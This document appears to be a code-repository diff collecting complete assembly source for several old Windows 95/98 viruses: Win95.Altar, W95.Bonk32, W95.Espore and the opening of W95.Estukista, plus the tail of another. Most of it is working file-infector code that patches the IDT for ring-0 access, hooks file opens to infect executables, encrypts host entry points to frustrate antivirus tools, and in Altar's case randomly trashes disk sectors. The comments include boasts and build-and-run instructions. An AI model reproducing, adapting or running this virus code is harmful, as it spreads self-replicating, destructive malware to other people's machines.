cmp byte ptr [esi], 0
je GetAddress
jmp CompareName
GetAddress:
pop edx
pop esi
dec edx
shl edx, 1
mov ecx, [ebx+36]
add ecx, eax
add ecx, edx
xor edx, edx
mov dx, [ecx]
shl edx, 2
mov ecx, [ebx+28]
add ecx, eax
add ecx, edx
add eax, [ecx]
ret
GetFunctionAddress ENDP
;----------------------------------------------------------------------------
; File I/O Procedures
;----------------------------------------------------------------------------
OpenFile PROC
push 00000000h
push 00000080h
push 00000003h
push 00000000h
push 00000000h
push ebx ;open for read/write
push eax
call [ebp+_CreateFileA]
mov [ebp+Handle], eax
ret
OpenFile ENDP
CloseFile PROC
push eax
call [ebp+_CloseHandle]
ret
CloseFile ENDP
SeekData PROC
push ebx ; 0 = begin / 1 = current / 2 = end
push 0
push eax ; location to seek to
push [ebp+Handle]
call [ebp+_SetFilePointer]
ret
SeekData ENDP
GetData PROC
lea ecx, [ebp+NumberOfBytesRead]
push 00000000h
push ecx
push ebx
push eax
push [ebp+Handle]
call [ebp+_ReadFile]
ret
GetData ENDP
PutData PROC
lea ecx, [ebp+NumberOfBytesRead]
push 0
push ecx
push ebx
push eax
push [ebp+Handle]
call [ebp+_WriteFile]
ret
PutData ENDP
End Main
;Wow your actualy still reading? Get a life :p

View File

@ -0,0 +1,539 @@
;============================================================================
;
;
; NAME: Win95.Altar 1.01
; OS: Windoze 95/98.
; TYPE: Parasitic resident (VxD) PE-infector.
; SIZE: Around 800 bytes.
; AUTHOR: T-2000 / Immortal Riot.
; E-MAIL: T2000_@hotmail.com
; DATE: June 1999.
; DESTRUCTIVE: Yeah.
;
; FEATURES:
;
; - Gains ring-0 by hacking an IDT-gate.
; - Hosts don't increase in size.
; - Payload: random sector-trashing.
;
; Here's some simple ring-0 VxD-virus, just to try-out the idea. The trash-
; chance was set rather high, just to fuck beginners :P
;
;============================================================================
.386p
.MODEL FLAT
.CODE
ORG 0
EXTRN ExitProcess:PROC
IFSMgr EQU 0040h
GetHeap EQU 000Dh
UniToBCSPath EQU 0041h
InstallFileSystemAPIhook EQU 0067h
Ring0_FileIO EQU 0032h
IFSFN_OPEN EQU 36
R0_WRITEFILE EQU 0D601h
Virus_Size EQU (Virus_End-START)
Virus_Size_Mem EQU (End_Virus_Mem-START)
START:
PUSH (1000h+(Carrier-START))
Host_EIP = DWORD PTR $-4
PUSHFD
PUSHAD
CALL Get_Delta
MOV EAX, EBP
SUB EAX, 1000h ; Calculate base-address.
Virus_RVA = DWORD PTR $-4
ADD [ESP+(9*4)], EAX ; Add base to the EIP RVA.
XOR EAX, EAX
CALL Setup_SEH ; Bail-out without errors
; under NT.
MOV ESP, [ESP+(2*4)]
JMP Return_Host
Setup_SEH: PUSH DWORD PTR FS:[EAX]
MOV FS:[EAX], ESP
PUSH EAX ; Store IDT in EAX.
SIDT [ESP-2]
POP EAX
LEA EBX, [EBP+(Ring0_Installation-START)]
XCHG [EAX+(3*8)], BX ; Hack IDT-gate.
ROR EBX, 16
XCHG [EAX+(3*8)+6], BX
INT 3
MOV [EAX+(3*8)+6], BX ; Restore IDT-gate.
ROL EBX, 16
MOV [EAX+(3*8)], BX
Return_Host: XOR EAX, EAX ; Restore the original SEH.
POP DWORD PTR FS:[EAX]
POP EAX
POPAD
POPFD
RET ; RETurn to our host.
Copyright DB '[Altar] by T-2000 / Immortal Riot', 0
VxD_Ring0_FileIO:
INT 20h
DW Ring0_FileIO
DW IFSMgr
RET
Ring0_Installation:
PUSHFD
PUSHAD
MOV EAX, DR2 ; Get DR2 in EAX.
CMP AL, 'T' ; We're already resident?
JE Exit_R0_Inst
LEA EDI, [EBP+(VxD_Ring0_FileIO-START)]
MOV AX, 20CDh
STOSW
MOV [EDI], 00400032h
MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)-2], AX
MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)-2], AX
MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)-2], AX
MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)], 0040000Dh
MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)], 00400067h
MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)], 00400041h
PUSH Virus_Size_Mem ; Allocate memory from the
INT 20h ; global heap.
DW GetHeap
DW IFSMgr
VxD_Call_1 = $-6
POP ECX
OR EAX, EAX ; Error occurred?
JZ Exit_R0_Inst
MOV ESI, EBP ; Copy us to VxD-memory.
MOV EDI, EAX
CLD
REP MOVSB
MOV [EAX+(Busy_Switch-START)], ECX
ADD EAX, (Ring0_Hook-START)
PUSH EAX ; Insert our file-hook.
INT 20h
DW InstallFileSystemAPIhook
DW IFSMgr
VxD_Call_2 = $-6
POP EBX
XCHG ECX, EAX ; Error?
JECXZ Exit_R0_Inst
MOV [EBX+(Prev_Handler-Ring0_Hook)], ECX
MOV AL, 'T' ; Mark us as resident.
MOV DR2, EAX
Exit_R0_Inst: POPAD
POPFD
IRETD ; Back to our ring-3 part.
Ring0_Hook:
JMP $+666h
Busy_Switch = DWORD PTR $-4
PUSHFD
PUSHAD
CALL Get_Delta
MOV DWORD PTR [EBP+(Busy_Switch-START)], (JMP_Prev_Hook-Busy_Switch) - 4
CMP DWORD PTR [ESP+(9*4)+(2*4)], IFSFN_OPEN
JNE Exit_Infect
CALL Get_Random
CMP DL, 5
JA Obtain_Name
CALL Get_Random
MOV AX, 0DE02h ; R0_WRITEABSOLUTEDISK
INC ECX
LEA ESI, [EBP+(Copyright-START)]
CALL VxD_Ring0_FileIO
Obtain_Name: MOV EBX, [ESP+(9*4)+(6*4)] ; IOREQ-structure.
MOV ESI, [EBX+(3*4)] ; Unicode-path.
CLD
LODSD
PUSH DWORD PTR [ESP+(9*4)+(5*4)]
PUSH 259
PUSH ESI
LEA ESI, [EBP+(ANSI_Target-START)]
PUSH ESI
INT 20h
DW UniToBCSPath
DW IFSMgr
VxD_Call_3 = $-6
ADD ESP, (4*4) ; Fix stack.
OR EDX, EDX ; No problems during the
JNZ Exit_Infect ; conversion?
MOV [ESI+EAX], DL
CMP [ESI+EAX-4], 'EXE.' ; Standard .EXE-file?
JNE Exit_Infect
XOR EAX, EAX ; R0_OPENCREATFILE
MOV AH, 0D5h
PUSH 02h
POP EBX
INC EDX
CALL VxD_Ring0_FileIO
JC Exit_Infect
XCHG EBX, EAX ; Save filehandle in EBX.
XOR EAX, EAX ; R0_GETFILESIZE
MOV AH, 0D8h
CALL VxD_Ring0_FileIO
CMP EAX, 4096 ; Avoid infecting files which
JC_Close_File: JB Close_File ; are too small.
MOV [EBP+(Victim_Size-START)], EAX
LEA EDI, [EBP+(Header-START)]
; Read-in the DOS MZ-header.
XOR EAX, EAX ; R0_READFILE
MOV AH, 0D6h
PUSH 40h
POP ECX
XOR EDX, EDX
MOV ESI, EDI
CALL VxD_Ring0_FileIO
JC JC_Close_File
CMP [EDI.MZ_Mark], 'ZM' ; It's a valid .EXE-file?
JNE Close_File
MOV EDX, [EDI+3Ch] ; Pointer to PE-header.
MOV [EBP+(PE_Header_Offs-START)], EDX
; Read-in PE-header.
XOR EAX, EAX ; R0_READFILE
MOV AH, 0D6h
PUSH 92
POP ECX
CALL VxD_Ring0_FileIO
CMP [EDI.PE_Mark], 'EP' ; Verify the PE-header.
JNE Close_File
CMP [EDI.PE_Checksum], -666h ; Avoid infected
JE Close_File ; files.
MOVZX EAX, [EDI.Object_Count]
DEC EAX
PUSH 40
POP ECX
MUL ECX
MOVZX DX, [EDI.NT_Header_Size]
LEA EDX, [EDX+24+EAX]
ADD EDX, [EBP+(PE_Header_Offs-START)]
MOV [EBP+(Last_Obj_Offset-START)], EDX
; Read-in the last object-header.
XOR EAX, EAX ; R0_READFILE
MOV AH, 0D6h
PUSH 40
POP ECX
LEA ESI, [EBP+(Last_Obj_Table-START)]
CALL VxD_Ring0_FileIO
MOV EAX, [ESI.Section_Physical_Size]
CMP EAX, [ESI.Section_Virtual_Size]
JBE Check_Size
MOV EAX, [ESI.Section_Virtual_Size]
Check_Size: PUSH EAX
MOV ECX, Virus_Size
ADD EAX, ECX
ADD EAX, [ESI.Section_Physical_Offset]
CMP EAX, 12345678h ; File increases in size?
Victim_Size = DWORD PTR $-4
POP EAX
JA Close_File ; Then abort the infect.
PUSH EAX
PUSH EAX
ADD EAX, ECX
PUSH EAX
MOV ECX, [EDI.File_Align]
CALL Align_EAX
CMP [ESI.Section_Physical_Size], EAX
JNB Calc_New_Virt
MOV [ESI.Section_Physical_Size], EAX
Calc_New_Virt: POP EAX
MOV ECX, [EDI.Object_Align]
CALL Align_EAX
CMP [ESI.Section_Virtual_Size], EAX
JNB Set_New_EIP
ADD [EDI.Image_Size], EAX
XCHG [ESI.Section_Virtual_Size], EAX
SUB [EDI.Image_Size], EAX
Set_New_EIP: POP EAX
ADD EAX, [ESI.Section_RVA]
MOV [EBP+(Virus_RVA-START)], EAX
XCHG [EDI.EIP_RVA], EAX
MOV [EBP+(Host_EIP-START)], EAX
; Write updated object-header back to disk.
MOV EAX, R0_WRITEFILE
PUSH 40
POP ECX
MOV EDX, 12345678h
Last_Obj_Offset = DWORD PTR $-4
CALL VxD_Ring0_FileIO
POP EDX
; Insert virus-body into our victim.
MOV EAX, R0_WRITEFILE
MOV ECX, Virus_Size
ADD EDX, [ESI.Section_Physical_Offset]
MOV ESI, EBP
CALL VxD_Ring0_FileIO
; Mark file as infected.
MOV [EDI.PE_Checksum], -666h
; Write updated PE-header back to disk.
MOV EAX, R0_WRITEFILE
PUSH 92
POP ECX
MOV EDX, 12345678h
PE_Header_Offs = DWORD PTR $-4
MOV ESI, EDI
CALL VxD_Ring0_FileIO
; Close the file.
Close_File: XOR EAX, EAX ; R0_CLOSEFILE
MOV AH, 0D7h
CALL VxD_Ring0_FileIO
Exit_Infect: XOR EAX, EAX ; Reset busy-flag.
MOV [EBP+(Busy_Switch-START)], EAX
POPAD
POPFD
JMP_Prev_Hook: JMP DS:[12345678h]
Prev_Handler = DWORD PTR $-4
DB 'Awaiting the sacrifice...', 0
Align_EAX:
XOR EDX, EDX
DIV ECX
OR EDX, EDX
JZ Calc_Aligned
INC EAX
Calc_Aligned: MUL ECX
RET
Get_Delta:
CALL Get_EIP
Get_EIP: POP EBP
SUB EBP, (Get_EIP-START)
RET
Get_Random:
IN EAX, 40h
ADD EDX, EAX
Randomize: IN EAX, 40h
XCHG AH, AL
ADD EAX, 0DEADBEEFh
RCL EDX, 3
XOR EDX, EAX
LOOP Randomize
RET
Virus_End:
ANSI_Target DB 260 DUP(0)
Header DB 92 DUP(0)
Last_Obj_Table DB 40 DUP(0)
End_Virus_Mem:
Carrier:
PUSH 0
CALL ExitProcess
; The good old MZ-header...
MZ_Header STRUC
MZ_Mark DW 0
MZ_Image_Mod_512 DW 0
MZ_Image_512_Pages DW 0
MZ_Reloc_Items DW 0
MZ_Header_Size_Mem DW 0
MZ_Min_Size_Mem DW 0
MZ_Max_Size_Mem DW 0
MZ_Program_SS DW 0
MZ_Program_SP DW 0
MZ_Checksum DW 0
MZ_Program_IP DW 0
MZ_Program_CS DW 0
MZ_Reloc_Table DW 0
MZ_Header ENDS
PE_Header STRUC
PE_Mark DD 0 ; PE-marker (PE/0/0).
CPU_Type DW 0 ; Minimal CPU required.
Object_Count DW 0 ; Number of sections in PE.
DD 0
Reserved_1 DD 0
DD 0
NT_Header_Size DW 0
PE_Flags DW 0
DD 4 DUP(0)
EIP_RVA DD 0
DD 2 DUP(0)
Image_Base DD 0
Object_Align DD 0
File_Align DD 0
DW 0, 0
DW 0, 0
DW 0, 0
PE_Reserved_5 DD 0
Image_Size DD 0
Headers_Size DD 0
PE_Checksum DD 0
DW 0
DLL_Flags DW 0
PE_Header ENDS
Section_Header STRUC
Section_Name DB 8 DUP(0) ; Zero-padded section-name.
Section_Virtual_Size DD 0 ; Memory-size of section.
Section_RVA DD 0 ; Start section in memory.
Section_Physical_Size DD 0 ; Section-size in file.
Section_Physical_Offset DD 0 ; Section file-offset.
Section_Reserved_1 DD 0 ; Not used for executables.
Section_Reserved_2 DD 0 ; Not used for executables.
Section_Reserved_3 DD 0 ; Not used for executables.
Section_Flags DD 0 ; Flags of the section.
Section_Header ENDS
END START

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,556 @@
;[W95.BONK32] Resident PE infector
;Copyright 1998 (c) Vecna
;
;This virus is the 2nd PE infector i wrote, and is a memory resident infector
;designed exclusively for win95/98. It shouldnt work neither in winNT or in
;w32s. It patches the IDT, that isnt protected in w95/98, modifies a vector
;to point code into the virus, and execute this interrupt. As the code is
;executed in ring0, the virus alloc memory and read from the host file the
;rest of the virus code. It then jump to this virus part, that hook IFS and
;restore the host.
;
;Always a EXE file is open, the virus handler take control, and infect it.
;The virus body is appended as a overlay to the end of host, without any
;physical link to host, and a small loader is stored into the free space of
;the PE header.
;
;If the host file dont have relocationz, the virus encript the original
;entrypoint and patch it with a jump to the virus loader. The key for the code
;encripted is not saved, but a CRC32 of it unencripted is stored. When the
;virus restore it, it must try all keyz, what can be time costly for AVerz.
;
;As the original entrypoint dont change, and the virus code isnt linked to
;host, beside the loader, this work as a anti-heuristic feature.
;
;Early versionz haved a bug, that cause a crash in everybody machine beside
;mine. This was because a non-fixed call to int 0x20. Some lines added and
;now it work fine.
;
;W95.Bonk32 is written using NASM sintax, that showed very efficient for my
;viral needz, as provide more control over the generated code . To compile
;you will need NASM, LINK from Microsoft and PEWRSEC from Jacky Qwerty/29A.
;You also will need any MAKE utility (Borland, Microsoft and LCC ones work).
;then debug it using SOFT-ICE till u get the point that the virus open host
;at this point, change esi to point to a unused area (ECX hold one), then
;then edit this memory (D ESI;EB) and type the dir you are and \bonk32 at the
;end. Then make the virus go(BC *;G).
;
;Or, better, run the pre-compiled file. It will execute and stay resident.
;All open files will be infected then. Remeber that the pre-compiled file
;must reside in root dir of C:, else it will crash.
;
;I must thank 2 people: the AV that discovered the bug, and Alchemy, that
;gimme the EIP of the fault and make possible to me fix it.
[bits 32]
[section .text]
[global _main]
%define true 1
%define false 0
%define debug false
%define userda true
%define buffer bname + 0x100
%define buffer2 buffer + 0x1000
%macro vxdcall 2
int 0x20
dw %2
dw %1
%endmacro
hook:
enter 0x20, 0x00 ;setup stack frame
push ecx
push ebx
call .delta
.delta:
pop ebx
sub ebx, .delta
cmp dword [ebp+0x0C], byte 0x24
jne .noopen ;only hookz ifs_opne
cmp byte [ebx+recurse], byte 0x00
jne .noopen ;no re-enter
inc byte [ebx+recurse]
pushad
call dynacall ;fix dynamic int20 calls
call uni2ansi
call infect ;replicate
popad
dec byte [ebx+recurse]
.noopen:
mov ecx, 0x06 ;total=6 paramz
mov ebx, 0x1C
.nparam:
mov eax, [ebp+ebx] ;copy paramz from old frame
push eax ;to new frame
sub ebx, 4
loop .nparam
db 0xb8
oldhook dd 0
call [eax] ;call old hookz
add esp, byte 0x18
pop ebx
pop ecx
leave
ret
db '[BONK32] by Vecna/29A', 0x00
dynacall:
pushad
cld
mov ax, 0x20CD
call .odynatable
.dynatable:
dw 0x67, 0x40
dw 0x32, 0x40
dw 0x0D, 0x40 ;function, vxd
dw 0x41, 0x40
dw 0x32, 0x40
.odynatable:
pop esi
mov edi, esi
add edi, fix1-.dynatable
stosw ;make vxd calls to dynamic
movsd ;int20 code
add edi, IFS-fix1-6
stosw
movsd
add edi, byte fix3-IFS-6
stosw
movsd
add edi, fix4-fix3-6 ;make all fixes
stosw
movsd
popad
ret
uni2ansi:
pushad
lea edi, [ebx+bname]
mov eax, [ebp+0x10]
cmp al, -1
jz .drive
add al, '@' ;make number2letter
stosb
mov al, ':'
stosb
.drive:
sub eax, eax
push eax
mov eax, 0x100
push eax
mov eax, [ebp+0x1C]
mov eax, [eax+0x0C]
add eax, byte 0x04
push eax
push edi
fix4:
vxdcall 0x40, 0x41 ;make unicode2ansi
add esp, byte 0x10
add edi, eax
sub eax, eax
stosb
popad
ret
infect:
lea edi, [ebx+bname]
mov ebp, edi
mov ecx, 0x100
sub eax, eax
cld
repne scasb ;end of name
or ecx, ecx
jz near error
cmp dword [edi-0x05], '.EXE'
jne near error ;only infect exe files
%if debug == true
cmp dword [edi-0x09], 'BAIT'
jne near error ;debug code
%endif
mov eax, 0xD500
sub ecx, ecx
mov edx, ecx
inc edx
mov ebx, edx
inc ebx
mov esi, ebp
call IFS ;open it
jc near error
call .delta
.delta:
pop ebp
sub ebp, .delta ;ebp hold delta offset
mov ebx, eax
mov eax, 0xD600
sub edx, edx
mov ecx, 0x1000
lea esi, [ebp+buffer]
call IFS ;read pe headerz
jc near errorclose
mov ax, word [esi]
add al, ah
cmp al, 0xA7
jne near errorclose ;not exe
mov edi, [esi+0x3C]
mov [ebp+mz_size], edi
cmp edi, 0xE00
ja near errorclose ;buffer overflow
add edi, esi
cmp dword [edi], 'PE'
jne near errorclose ;not pe newexe
mov eax, 'BONK'
cmp [edi+88], eax
mov [edi+88], eax
jz near errorclose ;already infected
cmp word [edi+4], 0x014C ;run in a 386?
jnz near errorclose
bt word [edi+22], 1 ;executable?
jnc near errorclose
bt word [edi+22], 0x0D ;dll?
jc near errorclose
mov eax, [edi+40]
add eax, [edi+52] ;mementry==imagebase+entrypont
mov [ebp+loader.entrypoint], eax
movzx eax, word [edi+6]
imul eax, eax, 40
movzx ecx, word [edi+20] ;sum size of all headerz
add eax, ecx
add eax, 24
mov ecx, eax
add eax, edi
add ecx, lsize
cmp dword [edi+84], ecx ;total size of headerz
jc near errorclose ;enought to loader?
push eax
push edi
mov edi, eax
mov ecx, lsize
lea esi, [ebp+loader]
rep movsb ;copy loader to pe header
lea esi, [ebp+bname]
.nextbyte:
lodsb
stosb
test al, al
jnz .nextbyte ;copy host name
pop edi
pop eax
sub eax, edi
cmp [edi+160], ecx
jne near .relocs
cmp [edi+164], ecx
jne near .relocs ;shit, relocz present
%if userda == true
push ebx
mov dword [ebp+jmpentry], eax ;signal rda used
movzx ecx, word [edi+20]
add ecx, edi
add ecx, 24-0x28
.next:
add ecx, 0x28
mov edx, [edi+40]
sub edx, [ecx+12] ;is EIP pointing inside
cmp edx, [ecx+8] ;this section?
jnb .next
or dword [ecx+36], 80000000h ;make section writeable
add edx, [ecx+20] ;edx point physical entrypoint
push edx
push eax ;save virus entry
mov eax, 0xD600
mov ecx, 0x100
lea esi, [ebp+buffer2] ;esi point entrycode
call IFS ;read entry code
push esi
push edi
push esi
mov eax, 0x100
push eax
push esi
push eax
call crc32 ;calc crc32 of 100h bytes
mov [ebp+rdacrc32], eax
pop ecx
pop esi
pop edi
in al, 0x40
.rdaloop:
xor byte [esi], al ;encript crc32ed code
inc esi
loop .rdaloop
pop esi
push edi
lea edi, [ebp+hostcode]
movsd
movsb ;save entrycode
pop edi
xchg esi, edi ;edi point to entrycode
sub edi, byte 5
mov al, 0xE9 ;esi point to pe header
stosb
pop edx
sub edx, [esi+40]
mov eax, edx
sub eax, 5
add eax, dword [ebp+mz_size]
stosd ;store displacement
mov edi, esi
pop edx
mov eax, 0xD601
mov ecx, 0x100
lea esi, [ebp+buffer2]
pop ebx
call IFS ;write pe headerz
jmp .norelocs
%endif
.relocs:
mov dword [ebp+jmpentry], ecx ;flag as normal file
add eax, dword [ebp+mz_size]
mov [edi+40], eax ;set new entrypoint
.norelocs:
mov eax, 0xD601
sub edx, edx
mov ecx, dword [edi+84]
lea esi, [ebp+buffer]
call IFS ;write pe headerz
mov eax, 0xD800
call IFS ;get filesize
mov edx, 0xD601
xchg eax, edx
mov ecx, vsize
mov esi, ebp
call IFS ;write overlay code
errorclose:
mov eax, 0xD700
call IFS ;close file
error:
ret
rdacrc32 dd 0
jmpentry dd 0
hostcode dd 0
db 0
recurse db 0
mz_size dd 0
install:
sub edx, edx
sub esi, install ;esi point to start of vcode
push esi
mov dword [esi+recurse], edx
mov eax, 0xD700
call IFS ;close file
or ebp, ebp
jns skip
fix1:
vxdcall 0x40, 0x67 ;hook ifs
skip:
pop ecx
mov [esi+oldhook], eax
.restore:
%if userda == true
cmp dword [esi+jmpentry], byte 0x0
jz .norda ;was rda used?
push esi
mov edi, [esi+loader.entrypoint]
lea esi, [esi+hostcode]
movsd
movsb ;restore init code
pop esi
push dword 0x100
push dword [esi+rdacrc32]
push dword [esi+loader.entrypoint]
call rda ;rda decript host
.norda:
%endif
ret
%if userda == true
crc32_pbfr equ +0x0C
crc32_sz equ +0x08
crc32_ret@ equ +0x04
crc32_ebp@ equ +0x00
crc32:
push ebp
mov ebp, esp
mov esi, [ebp+crc32_pbfr]
mov edi, [ebp+crc32_sz] ;setup regz
push byte -1
pop ecx ;init crc32
mov edx, ecx
.aa:
sub eax, eax
mov ebx, eax
lodsb ;get byte
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
.ab:
shr bx, 1
rcr ax, 1
jnc .ac
xor ax, 0x08320 ;logarithm
xor bx, 0x0edb8
.ac:
dec dh
jnz .ab
xor ecx, eax
xor edx, ebx
dec edi
jnz .aa ;next byte
not edx
not ecx
shl ecx, 16 ;cx:dx to ecx
mov cx, dx
mov eax, ecx
pop ebp
ret 8
%endif
_main
loader:
pushad
call .seh
mov esp, [esp+8]
jmp .removeseh
.seh:
sub edx, edx
fs push dword [edx]
fs mov dword [edx], esp ;seh frame set
call .delta
.delta:
pop eax
sub eax, .delta
push eax
sidt [esp-2] ;get idt to ebx
pop ebx
cli
mov ebp, [ebx+0x4+(0x5*0x8)]
mov bp, [ebx+(0x5*0x8)]
lea ecx, [eax+ring0] ;new int5 handler
mov [ebx+(0x5*0x8)], cx
bswap ecx
xchg cl, ch
mov [ebx+0x6+(0x5*0x8)], cx
push ds
push es
int 0x5 ;jump to ring0
pop es
pop ds
.removeseh:
sti
sub eax, eax
fs pop dword [eax] ;remove seh frame
pop eax
popad
db 0x68 ;return to host
.entrypoint dd 0
pop ecx
jecxz .ret
push ecx
.ret:
ret
IFS:
vxdcall 0x40, 0x32 ;just one place to fix
ret
ring0:
cld
push ss
pop ds
mov edi, [eax+IFS]
mov ax, 0x20CD ;these linez fix the previous
stosw ;bug, found by AVz
mov ax, 0x32
stosw
mov ax, 0x40
stosw
lea ecx, [eax+bname]
lea esi, [eax+name]
mov eax, 0xD500 ;openfile
sub ecx, ecx
mov edx, ecx
mov ebx, ecx
inc edx
call IFS
jnc .skip
iret ;cant open host
.skip:
push eax
push dword 8192
fix3:
vxdcall 0x40, 0x0D ;vmm alloc
pop ecx
mov esi, eax
pop ebx
jc .error
mov eax, 0xD800 ;get filesize
call IFS
mov ecx, vsize
sub eax, ecx
mov edx, 0xD600 ;read overlay
xchg eax, edx
call IFS
add esi, install-hook
call esi ;call it!
.error:
iret
lsize equ ($-loader)
name equ $
%if userda == true
rda_sz equ +16
rda_crc equ +12
rda_pbfr equ +08
rda_ret@ equ +04
rda_ebp@ equ +00
rda_pass equ -04
rda_key equ -08
rda:
enter 8, 0 ;2 dwords as local var
sub eax, eax
mov [ebp+rda_pass], eax
mov [ebp+rda_key], eax ;setup rda
.setup:
mov esi, [ebp+rda_pbfr]
mov ecx, [ebp+rda_sz]
mov edx, [ebp+rda_key] ;setup loop
.loop:
xor [esi], dl
inc esi
dec ecx
jnz .loop
inc dword [ebp+rda_pass] ;increase pass counter
cmp [ebp+rda_pass], byte 2
jne .check ;first pass
sub eax, eax
mov [ebp+rda_pass], eax
inc dword [ebp+rda_key] ;new key
jmp short .setup
.check:
push ebp
push dword [ebp+rda_pbfr]
push dword [ebp+rda_sz]
call crc32 ;calc crc32
pop ebp
cmp eax, [ebp+rda_crc]
jne .setup ;crc32 dont match
leave
ret 12
%endif
vsize equ ($-$$)
bname:

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,136 @@
;---------------------------- W95 ESPORE BY HenKy -----------------------------
;
;-AUTHOR: HenKy
;
;-MAIL: HenKy_@latinmail.com
;
;-ORIGIN: SPAIN
;
; WOW!!!! 140 BYTES !!!! AND 100% RING 3 !!!! (ONLY WINDOZE 9X CAN SUPPORT IT)
; OF COURSE MIDFILE AND NO GROWING CAVITY TECH
; IT SEARCHS FILENAMES INTO CACHE (AND PARASITE THEM) :-)
; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ
; PRIVILEGES
; THE BFF712B9h ADDRESS IS THE CALL VINT21
; THE INITIAL EDX VALUE POINTS TO A 28KB CACHE BUFFER WICH CONTAINS SEVERAL
; FILENAMES WITH COMPLETE PATH (ONLY PE EXE/DLL )
.386P
.MODEL FLAT
LOCALS
EXTRN ExitProcess:PROC
MIX_SIZ EQU (FILE_END - MEGAMIX)
MACROSIZE MACRO
DB MIX_SIZ/00100 mod 10 + "0"
DB MIX_SIZ/00010 mod 10 + "0"
DB MIX_SIZ/00001 mod 10 + "0"
ENDM
.DATA
DB 'BIEN PEKE?O BIEN... LIKE AN ESPORE... HEHEHE',0
DB ' W9X ESPORE SIZE = '
MACROSIZE
.CODE
MEGAMIX: ; EDX: BUFFER
; EAX: EIP
; ECX: BUFFER
VINT21:
DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE
DB 'H' ; HenKy ;P
XCHG EDI, EAX ; EDI: DELTA
MOV ESI,0C1000000H ; ESI: BUFFER
MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H
;EDX: POINTER TO FNAME
MOV ECX,28500 ; LIMIT
PORK:
INC EDX
CMP WORD PTR [EDX],':C'
JE KAA
LOOP PORK
OK:
PUSH 00401000H
OLD_EIP EQU $-4
WARNING:
RET
KAA:
MOV AX, 3D02h
CALL [EDI]
XCHG EBX, EAX
PUSHAD ; SAVE ECX,EBX,EDX,EBP,EDI
CALL PHECT
POPAD
MOV AH, 3Eh
CALL [EDI]
JMP PORK
PHECT:
XOR ECX,ECX
MOV EDX, ESI
MOV AH, 3Fh
CALL R_W
MOV ECX, [ESI+3Ch]
LEA EAX, [ESI+ECX]
CMP BYTE PTR [EAX], "P"
JNE WARNING
MOV ECX,[EAX+28H]
CMP ECX, 1024
JB WARNING
PUSH EBP
ADD ECX,[EAX+34H]
MOV [EBP+OLD_EIP-MEGAMIX],ECX
MOV EDI,EAX
PORRO:
INC EDI
CMP BYTE PTR [EDI],'B' ; hehehehe
JNE PORRO
INC EDI
SUB EDI,ESI
MOV EDX,EDI
XCHG DWORD PTR [EAX+28h], EDI
LEA EDI, [ESI+EDX]
PUSH MIX_SIZ/4
POP ECX
POP EAX
PUSH EAX
XCHG ESI,EAX
REP MOVSD
POP EDI
MOV EDX, EAX
W:
MOV AH, 40h
R_W:
PUSHAD
XOR EAX,EAX
MOV AH, 42h
CDQ
CALL [EDI]
POPAD
MOV CH, 4h
CALL [EDI]
RET
ALIGN 4
FILE_END:
PUSH 0
CALL ExitProcess
END MEGAMIX

View File

@ -0,0 +1,231 @@
;-------------------------------- W95 ESTUKISTA BY HenKy -----------------------------
;
;-AUTHOR: HenKy
;
;-MAIL: HenKy_@latinmail.com
;
;-ORIGIN: SPAIN
;
; VIRUS_SIZE = 126 BYTES!!!!
; 100% FUNCTIONAL UNDER W95/98 !!!!! AND IS RING 3!!!!!!
; (NOT TESTED UNDER ME)
; INFECTS *ALL* OPEN PROCESES AND EVEN ALL DLL AND MODULES IMPORTED BY THEM
; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ PRIVILEGES
; THE BFF712B9h ADDRESS IS THE CALL VINT21
; THE INITIAL ESI VALUE POINTS TO A READABLE MEMORY ZONE (SEEMS TO BE A CACHE ONE
; WHERE WINDOWS LOADS THE PE HEADER, THE IMPORTANT THING IS THAT HERE U CAN FIND
; THE FILENAMES WITH COMPLETE PATH OF ALL OPEN PROCESES)
;BUGS: * THE BAD THING IS THAT ESI INITIAL VALUE ON SOME FILES POINTS TO KERNEL, CAUSING
; THAT NO FILENAME FOUND (VIRUS WILL INFECT NOTHING AND WILL RETURN TO HOST).
; * ANOTHER POSSIBLE BUG IS THAT 0C1000000H MAYBE NOT READ/WRITE ON ALL COMPUTERS
; (AT LEAST IN MY W95 AND W98 WORKS FINE, AND INTO COMPUTER'S FRIEND WITH 98 WORKS TOO)
; * AND THE MORE PAINLY THING IS THE MASK LIMIT.... IF VERY LOW-> LESS INFECTIOUS
; IF VERY HIGH-> RISK OF READ NON-MAPPED AREA (AS WE ARE IN RING 3 IT WILL HANG WINDOZE)
; ANYWAY IN MY TESTS A LOT OF FILES BECOME INFECTED , MANY OF THEM WINDOWS DLL'S
;DUMP OF INITIAL ESI VALUE OF MY COMPILED BINARY (I HAVE AN OPEN PROCESS CALLED AZPR.EXE)
;81621788 FF FF FF FF 04 00 00 00 00 00 00 00 00 00 00 00 ????
;81621798 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217A8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217B8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217D8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217F8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621808 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621818 00 00 00 00 00 00 00 00 20 00 00 A0 43 3A 5C 57 C:\W
;81621828 49 4E 50 52 4F 47 5C 41 5A 50 52 5C 41 5A 50 52 INPROG\AZPR\AZPR
;81621838 2E 45 58 45 20 00 00 00 48 00 00 A0 44 00 00 00 .EXE H D
; ....
;81621CD8 50 A0 D7 82 3C 02 00 A0 50 45 00 00 4C 01 08 00 P ??< PE L
